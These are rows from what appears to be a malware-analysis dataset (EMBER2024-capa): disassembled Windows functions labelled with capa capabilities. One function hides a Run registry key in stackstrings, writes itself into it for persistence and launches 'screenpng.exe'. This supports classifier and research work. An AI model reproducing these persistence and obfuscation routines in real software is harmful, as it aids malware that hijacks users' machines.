joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45d208
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x45d21f
add esp, 0xfffffff0
call fcn.004036d4
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00422c88
mov eax, dword [0x4ab528]
cmp word [eax + 2], 0
jne 0x45d247
mov eax, dword [0x4ab528]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0045e970
mov eax, dword [0x4ab690]
cmp word [eax + 2], 0
jne 0x45d261
mov eax, dword [0x4ab690]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0045eb68
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x4191e0]
call fcn.00403380
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x4191e0]
call fcn.00403380
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x4251c4]
call fcn.0042c6b8
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x45d3e8
mov eax, dword [0x4ab378]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.0042ca88
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x45f118
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x4ab378]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040d224
test eax, eax
je 0x45d356
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00409268
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040d24c
test eax, eax
je 0x45d36a
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.004044d4
mov eax, dword [0x4ab0fc]
cmp byte [eax], 0
jne 0x45d39e
mov eax, ebx
call fcn.0045d510
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.0045f2f4
mov eax, ebx
call fcn.0045fcb8
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x45d3de
call fcn.0040372c
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x45d790
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x4acbe4]
cmp dword [eax + 0x30], 0
je 0x45d83a
cmp dword [ebx + 0x94], 0
jne 0x45d834
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x45d720
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x45d834
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x45d7fa
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x45d834
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.0041bac8
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x45d809
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x45e39c
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x45e3d1
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404354
jmp 0x45e3de
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.004042b8
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x45f4d0
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x45f511
mov eax, esi
call fcn.004457b8
test al, al
je 0x45f511
mov eax, dword [ebx + 0x84]
call fcn.004454b4
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x45f511
push 0
mov eax, dword [ebx + 0x84]
call fcn.004454b4
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x462858
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov ebx, dword [ebp - 4]
inc ebx
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov ecx, esi
mov edx, ebx
call fcn.00426c38
cmp ebx, dword [ebp - 8]
jge 0x4628bb
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov ecx, esi
mov edx, ebx
call fcn.00426f24
mov edi, eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov ecx, esi
mov edx, ebx
call fcn.00426f24
xor edi, eax
push edi
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov ecx, esi
mov edx, ebx
call fcn.00426f50
add ebx, 2
cmp ebx, dword [ebp - 8]
jl 0x462881
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret
Function at 0x4628c4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov ebx, dword [ebp - 4]
inc ebx
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov ecx, ebx
mov edx, esi
call fcn.00426c38
cmp ebx, dword [ebp - 8]
jge 0x462927
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov ecx, ebx
mov edx, esi
call fcn.00426f24
mov edi, eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov ecx, ebx
mov edx, esi
call fcn.00426f24
xor edi, eax
push edi
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov ecx, ebx
mov edx, esi
call fcn.00426f50
add ebx, 2
cmp ebx, dword [ebp - 8]
jl 0x4628ed
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret
Function at 0x4819cc
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
mov ecx, 8
push 0
push 0
dec ecx
jne 0x4819d4
push ecx
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x481bc6
push dword fs:[eax]
mov dword fs:[eax], esp
mov esi, dword [ebx + 8]
lea ecx, [ebp - 0xc]
mov edx, 0x481bdc
mov eax, esi
call fcn.0047f858
mov edx, dword [ebp - 0xc]
lea eax, [ebx + 0xc]
call fcn.004042b8
lea ecx, [ebp - 0x10]
mov edx, 0x481bf0
mov eax, esi
call fcn.0047f858
mov edx, dword [ebp - 0x10]
lea eax, [ebx + 0x28]
call fcn.004042b8
lea ecx, [ebp - 0x14]
mov edx, 0x481c08
mov eax, esi
call fcn.0047f858
mov edx, dword [ebp - 0x14]
lea eax, [ebx + 0x10]
call fcn.004042b8
lea ecx, [ebp - 0x18]
mov edx, 0x481c24
mov eax, esi
call fcn.0047f858
mov edx, dword [ebp - 0x18]
lea eax, [ebx + 0x14]
call fcn.004042b8
lea ecx, [ebp - 0x1c]
mov edx, 0x481c40
mov eax, esi
call fcn.0047f858
mov edx, dword [ebp - 0x1c]
lea eax, [ebx + 0x24]
call fcn.004042b8
lea ecx, [ebp - 0x24]
mov edx, 0x481c58
mov eax, esi
call fcn.0047f858
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0x20]
call fcn.00408854
mov eax, dword [ebp - 0x20]
or edx, 0xffffffff
call fcn.00408c6c
mov edi, eax
mov dword [ebx + 0x18], edi
test edi, edi
setge al
mov byte [ebx + 0x4c], al
lea ecx, [ebp - 0x28]
mov edx, 0x481c70
mov eax, esi
call fcn.0047f858
mov eax, dword [ebp - 0x28]
call fcn.00479330
fstp qword [ebx + 0x30]
wait
lea ecx, [ebp - 0x2c]
mov edx, 0x481c80
mov eax, esi
call fcn.0047f858
mov eax, dword [ebp - 0x2c]
call fcn.00479330
fstp qword [ebx + 0x40]
wait
lea ecx, [ebp - 0x30]
mov edx, 0x481c98
mov eax, esi
call fcn.0047f858
mov eax, dword [ebp - 0x30]
or edx, 0xffffffff
call fcn.00408c6c
inc eax
je 0x481b69
lea ecx, [ebp - 0x34]
mov edx, 0x481c98
mov eax, esi
call fcn.0047f858
mov eax, dword [ebp - 0x34]
call fcn.00408c30
mov edi, eax
mov eax, edi
mov ecx, 0xe10
cdq
idiv ecx
mov dword [ebp - 8], eax
mov eax, edi
mov ecx, 0xe10
cdq
idiv ecx
mov ecx, edx
mov eax, ecx
push ecx
mov ecx, 0x3c
cdq
idiv ecx
pop ecx
mov dword [ebp - 4], eax
mov eax, ecx
mov ecx, 0x3c
cdq
idiv ecx
mov edi, edx
push 0
mov ecx, edi
mov dx, word [ebp - 4]
mov ax, word [ebp - 8]
call fcn.0040a214
fstp qword [ebp - 0x3c]
wait
call fcn.0040a578
fadd qword [ebp - 0x3c]
fstp qword [ebx + 0x38]
wait
jmp 0x481b84
lea ecx, [ebp - 0x40]
mov edx, 0x481c98
mov eax, esi
call fcn.0047f858
mov eax, dword [ebp - 0x40]
call fcn.00479330
fstp qword [ebx + 0x38]
wait
lea ecx, [ebp - 0x44]
mov edx, 0x481ca8
mov eax, esi
call fcn.0047f858
mov edx, dword [ebp - 0x44]
lea eax, [ebx + 0x48]
call fcn.004042b8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x481bcd
lea eax, [ebp - 0x44]
mov edx, 2
call fcn.00404288
lea eax, [ebp - 0x34]
mov edx, 0xb
call fcn.00404288
ret
Function at 0x488958
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
xor edx, edx
push ebp
push 0x4889b2
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [eax + 0x30]
call fcn.00488948
mov ebx, eax
lea edx, [ebp - 4]
mov eax, edi
call fcn.00477f9c
mov edx, dword [ebp - 4]
mov eax, dword [ebx + 0xc]
call fcn.00477b9c
mov edx, dword [esi + 8]
mov eax, dword [ebx + 0x10]
mov ecx, dword [eax]
call dword [ecx + 8]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4889b9
lea eax, [ebp - 4]
call fcn.00404264
ret

Function at 0x4a5ea4
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0
push 0
push ebx
mov dword [ebp - 4], ecx
mov ebx, edx
mov eax, dword [ebp - 4]
call fcn.00404714
xor eax, eax
push ebp
push 0x4a5f43
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x10]
mov eax, dword [0x4ab64c]
mov eax, dword [eax]
call fcn.0045ee80
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0xc]
call fcn.004090c8
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 8]
mov ecx, ebx
call fcn.00404570
mov eax, dword [ebp - 8]
call fcn.00408ffc
test al, al
je 0x4a5f28
push 5
push dword [ebp - 8]
push 0x4a5f58
push dword [ebp - 4]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004045e4
mov eax, dword [ebp - 0x14]
call fcn.00404724
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a5f4a
lea eax, [ebp - 0x14]
mov edx, 5
call fcn.00404288
ret
Function at 0x10001b60
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Create thread
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
mov eax, dword [0x1018b55c]
xor eax, ebp
mov dword [ebp - 4], eax
sub dword [ebp + 0xc], 1
jne 0x10001c79
mov eax, dword [ebp + 8]
mov dword [0x101a5134], eax
lea eax, [ebp - 0x14c]
push eax
push 0
lea eax, [ebp - 0x148]
mov dword [0x101a5130], 0
push eax
push 0x10001090
push 0
push 0
mov dword [ebp - 0x148], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x104
lea eax, [ebp - 0x144]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movaps xmm0, xmmword [0x101673e0]
lea eax, [ebp - 0x148]
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x34]
mov dword [ebp - 0x14], 0x6556746e
movups xmmword [ebp - 0x34], xmm0
push eax
movaps xmm0, xmmword [str.ftWindowsCurreSoftwareMicroso]
push SysReAllocString
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x10], 0x6f697372
mov dword [ebp - 0xc], 0x75525c6e
mov word [ebp - 8], 0x6e
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x144]
lea edx, [eax + 1]
nop word [eax + eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10001c30
sub eax, edx
push eax
lea eax, [ebp - 0x144]
push eax
push 1
push 0
push 0x10167040
push dword [ebp - 0x148]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x148]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
movaps xmm0, xmmword [str.screenpng.exe_0]
lea eax, [ebp - 0x44]
push 0
push eax
movups xmmword [ebp - 0x44], xmm0
call dword [sym.imp.KERNEL32.dll_WinExec]
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.100a4461
mov esp, ebp
pop ebp
ret 0xc

Function at 0x10002604
Capabilities:
Get graphical window text

Disassembly:
sub dword [esp + 4], 4
jmp fcn.10002980

Function at 0x10002980
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add dword [ebp + 8], 4
pop ebp
jmp fcn.1001bf87

Function at 0x100079e6
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1011f773
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x1018b55c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov eax, dword [edi + 0x64]
cmp eax, dword [0x1018b02c]
jl 0x10007a84
mov ecx, dword [0x1018b030]
test ecx, ecx
je 0x10007a3a
push dword [edi + 0x68]
push dword [edi + 0x70]
push dword [edi + 0x74]
push dword [edi + 0x6c]
push eax
lea eax, [edi + 0x78]
push eax
push edi
call ecx
add esp, 0x1c
jmp 0x10007a84
cmp byte [0x1018b028], 0
je 0x10007a84
push 0x465
call fcn.100c4812
push dword [edi + 0x74]
lea ecx, [edi + 0x78]
mov esi, eax
push dword [edi + 0x6c]
push dword [edi + 0x70]
push ecx
push edi
push str._s__s__s__s:_d_n
push 0xffffffffffffffff
push 0x464
push esi
call fcn.10007e5b
add esp, 0x28
mov byte [eax + esi], 0
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push esi
call fcn.100c480d
pop ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1002805c
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x10132ddc
push dword [ebp + 8]
call fcn.100d42c6
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x100280b9
push ebx
push edi
push esi
call fcn.100d4495
push eax
call fcn.100d4af1
mov edi, eax
pop ecx
pop ecx
cmp edi, dword [ebp + 0x10]
jbe 0x10028098
push 0x7a
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
jmp 0x100280ae
push esi
push edi
push 1
push dword [ebp + 0xc]
call fcn.100d46f3
xor ebx, ebx
add esp, 0x10
cmp edi, eax
sete bl
push esi
call fcn.100d440f
pop ecx
pop edi
mov eax, ebx
pop ebx
pop esi
pop ebp
ret

Function at 0x10028110
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push dword [ebp + 0x10]
mov esi, dword [ebp + 8]
mov ecx, esi
push dword [ebp + 0xc]
call fcn.10028cb4
mov ebx, eax
test ebx, ebx
je 0x10028182
push edi
push ebx
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test edi, edi
je 0x10028166
cmp dword [ebp + 0x18], edi
jae 0x1002814b
push 0x7a
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x10028166
push ebx
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
je 0x10028166
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
jne 0x1002816a
xor eax, eax
jmp 0x10028181
push edi
push eax
push dword [ebp + 0x14]
call fcn.100a68e0
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_FreeResource]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
pop ebp
ret 0x14

Function at 0x10028295
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push 0x140
mov eax, 0x1012256b
call fcn.100a4f7d
mov edi, ecx
mov eax, dword [ebp + 0xc]
and dword [ebp - 0x128], 0
mov esi, dword [ebp + 8]
mov ebx, dword [ebp + 0x10]
test eax, eax
jne 0x10028334
push 0x10132aac
lea eax, [edi + 8]
push eax
lea eax, [ebp - 0x140]
push eax
call fcn.10027c28
and dword [ebp - 4], 0
push ebx
push eax
lea eax, [ebp - 0x124]
push eax
call fcn.10027c28
lea ecx, [ebp - 0x140]
mov byte [ebp - 4], 2
call fcn.100046b0
lea ecx, [ebp - 0x124]
call fcn.100047d6
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1002830b
test al, 0x20
jne 0x1002831b
push 0x1012b8b0
lea ecx, [ebp - 0x124]
call fcn.10004770
lea eax, [ebp - 0x124]
mov ecx, esi
push eax
call fcn.10004449
lea ecx, [ebp - 0x124]
jmp 0x100283b7
push ebx
push eax
lea ecx, [ebp - 0x118]
call fcn.10027a06
lea eax, [ebp - 0x118]
push eax
lea ecx, [edi + 0x14]
call fcn.10028c94
mov ebx, eax
test ebx, ebx
jne 0x10028364
push 0x1012b8b0
mov ecx, esi
call fcn.100044bd
jmp 0x100283bc
push 0x10132aac
lea eax, [edi + 8]
push eax
lea eax, [ebp - 0x14c]
push eax
call fcn.10027c28
lea ecx, [ebx + 0x108]
mov dword [ebp - 4], 3
push ecx
push eax
lea eax, [ebp - 0x134]
push eax
call fcn.10027bd2
lea ecx, [ebp - 0x14c]
mov byte [ebp - 4], 5
call fcn.100046b0
lea eax, [ebp - 0x134]
mov ecx, esi
push eax
call fcn.10004449
lea ecx, [ebp - 0x134]
call fcn.100046b0
mov eax, esi
call fcn.100a4f27
ret 0xc
Function at 0x1002904e
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push 0x288
mov eax, 0x10122614
call fcn.100a4f7d
mov ebx, ecx
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 0x288]
mov edi, dword [ebp + 8]
mov dword [ebp - 0x270], eax
call fcn.1000459e
and dword [ebp - 4], 0
lea eax, [ebx + 8]
test edi, edi
je 0x100290e3
push 0x10132aac
push eax
lea eax, [ebp - 0x27c]
push eax
call fcn.10027c28
push edi
push eax
lea eax, [ebp - 0x294]
mov byte [ebp - 4], 1
push eax
call fcn.10027c28
push str..
push eax
lea eax, [ebp - 0x26c]
mov byte [ebp - 4], 2
push eax
call fcn.10027c28
push eax
lea ecx, [ebp - 0x288]
mov byte [ebp - 4], 3
call fcn.10004709
lea ecx, [ebp - 0x26c]
call fcn.100046b0
lea ecx, [ebp - 0x294]
call fcn.100046b0
jmp 0x10029105
push str..
push eax
lea eax, [ebp - 0x27c]
push eax
call fcn.10027c28
push eax
lea ecx, [ebp - 0x288]
mov byte [ebp - 4], 4
call fcn.10004709
lea ecx, [ebp - 0x27c]
mov byte [ebp - 4], 0
call fcn.100046b0
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x288]
push eax
call fcn.10005b28
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x10029268
lea ecx, [ebp - 0x26c]
call fcn.1000459e
mov byte [ebp - 4], 5
test edi, edi
jne 0x10029160
lea eax, [ebp - 0x234]
push eax
lea ecx, [ebp - 0x26c]
call fcn.10004770
jmp 0x100291b6
lea ecx, [ebp - 0x294]
call fcn.1000459e
lea ecx, [ebp - 0x234]
mov byte [ebp - 4], 6
push ecx
push edi
push str._s_s
lea ecx, [ebp - 0x27c]
push ecx
push eax
call fcn.10004e91
add esp, 0x14
push eax
lea ecx, [ebp - 0x26c]
mov byte [ebp - 4], 7
call fcn.10004709
lea ecx, [ebp - 0x27c]
call fcn.100046b0
lea ecx, [ebp - 0x294]
mov byte [ebp - 4], 5
call fcn.100046b0
test byte [ebp - 0x260], 0x10
je 0x1002920c
lea eax, [ebp - 0x234]
push 0x10132e30
push eax
call fcn.100c3327
pop ecx
pop ecx
test eax, eax
je 0x1002922f
lea eax, [ebp - 0x234]
push 0x10132e34
push eax
call fcn.100c3327
pop ecx
pop ecx
test eax, eax
je 0x1002922f
push dword [ebp + 0x10]
lea eax, [ebp - 0x26c]
push dword [ebp - 0x270]
push eax
call fcn.10005b28
push eax
mov ecx, ebx
call fcn.1002904e
jmp 0x1002922f
test byte [ebp - 0x260], 0xa1
je 0x1002922f
push dword [ebp + 0x10]
lea eax, [ebp - 0x26c]
push eax
call fcn.10005b28
push eax
call dword [ebp - 0x270]
test eax, eax
je 0x10029256
lea ecx, [ebp - 0x26c]
mov byte [ebp - 4], 0
call fcn.100046b0
lea eax, [ebp - 0x260]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x10029139
jmp 0x10029261
lea ecx, [ebp - 0x26c]
call fcn.100046b0
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x288]
call fcn.100046b0
call fcn.100a4f27
ret 0xc
Function at 0x10030541
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push 0xc
mov eax, 0x10122e8d
call fcn.100a4f49
mov edi, dword [ebp + 8]
lea ecx, [edi + 0x58]
call fcn.100fa905
push dword [ebp + 0xc]
mov ecx, edi
call fcn.10030637
push dword [ebp + 0x10]
test eax, eax
je 0x10030597
lea eax, [edi + 4]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.10027c28
lea ecx, [ebp - 0x18]
call fcn.100047d6
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ebx, ebx
lea ecx, [ebp - 0x18]
cmp eax, 0xffffffff
setne bl
call fcn.100046b0
jmp 0x100305a9
push dword [ebp + 0xc]
mov ecx, edi
call fcn.10030291
mov ebx, eax
neg ebx
sbb ebx, ebx
neg ebx
lea ecx, [edi + 0x58]
mov dword [ebp - 4], 1
call fcn.100fa910
mov eax, ebx
call fcn.100a4f12
ret 0xc

Function at 0x1003fbeb
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, ecx
xor ecx, ecx
push edi
inc ecx
push ecx
mov eax, dword [esi]
push esi
call dword [eax + 0x30]
mov dx, word [esi + 0x350]
xor edi, edi
add dx, word [ebp + 0xc]
mov dword [ebp - 4], eax
movsx eax, dx
cdq
push 0x78
pop ecx
idiv ecx
movzx eax, ax
mov dword [ebp + 0xc], eax
cwde
mov word [esi + 0x350], dx
cdq
xor eax, edx
sub eax, edx
movzx ebx, ax
xor eax, eax
cmp ax, bx
jge 0x1003fc9b
xor ecx, ecx
cmp word [ebp + 0xc], ax
setle cl
mov dword [ebp - 8], ecx
mov eax, dword [esi]
push 0
push ecx
push dword [ebp - 4]
mov ecx, esi
call dword [eax + 0x38]
test eax, eax
je 0x1003fc62
mov ecx, esi
call fcn.10040a0b
mov ecx, dword [ebp - 8]
inc edi
cmp di, bx
jl 0x1003fc41
cmp di, bx
jge 0x1003fc9b
push dword [ebp + 0x14]
or eax, 0xffffffff
mov ecx, ebx
push dword [ebp + 0x10]
sub ecx, edi
cmp word [ebp + 0xc], 0
push 1
pop edx
cmovg eax, edx
movsx ecx, cx
cwde
imul ecx, eax
movsx eax, cx
lea ecx, [esi + 4]
imul eax, eax, 0x78
movzx eax, ax
push eax
push dword [ebp + 8]
call fcn.100244da
test bx, bx
je 0x1003fcdb
lea eax, [esi + 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x50]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
movzx edx, word [ebp + 0x14]
mov edi, eax
movzx ecx, word [ebp + 0x10]
mov esi, dword [sym.imp.USER32.dll_SendMessageW]
shl edx, 0x10
or edx, ecx
push edx
push dword [ebp + 8]
push 0x200
push edi
call esi
push 0x2000001
push edi
push 0x20
push edi
call esi
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x10043e9d
Capabilities:
Create process on windows

Disassembly:
push 0x18
mov eax, 0x10124c8e
call fcn.100a4f49
mov edi, ecx
push dword [ebp + 0x10]
lea eax, [edi + 0x254]
push dword [ebp + 0xc]
push eax
call dword [sym.imp.USER32.dll_PtInRect]
test eax, eax
jne 0x10043ecd
mov eax, dword [edi]
push edi
call dword [eax + 0x114]
jmp 0x10043f43
push dword [ebp + 0x10]
mov ecx, edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10024316
lea esi, [edi + 0x264]
push esi
lea ecx, [ebp - 0x18]
call fcn.10004449
mov eax, dword [esi]
xor ebx, ebx
push esi
mov dword [ebp - 4], ebx
call dword [eax + 0x10]
test eax, eax
je 0x10043f22
mov eax, dword [edi]
lea ecx, [ebp - 0x24]
push ebx
push ecx
mov ecx, edi
call dword [eax + 0x230]
push eax
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.10004709
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], bl
call fcn.100046b0
push 1
push ebx
push ebx
lea ecx, [ebp - 0x18]
call fcn.100047d6
push eax
push 0x1013c3f8
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp - 0x18]
call fcn.100046b0
call fcn.100a4f12
ret 0xc

Function at 0x10046aa7
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x1018b55c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, 0x11c
lea eax, [ebp - 0x120]
push esi
push 0
push eax
call fcn.100a7720
add esp, 0xc
mov dword [ebp - 0x120], esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea eax, [ebp - 0x120]
push eax
call esi
test eax, eax
jne 0x10046b02
lea eax, [ebp - 0x120]
mov dword [ebp - 0x120], 0x114
push eax
call esi
test eax, eax
je 0x10046b16
cmp byte [ebp - 6], 1
jne 0x10046b16
cmp dword [ebp - 0x11c], 6
jne 0x10046b16
xor eax, eax
inc eax
jmp 0x10046b18
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.100a4461
mov esp, ebp
pop ebp
ret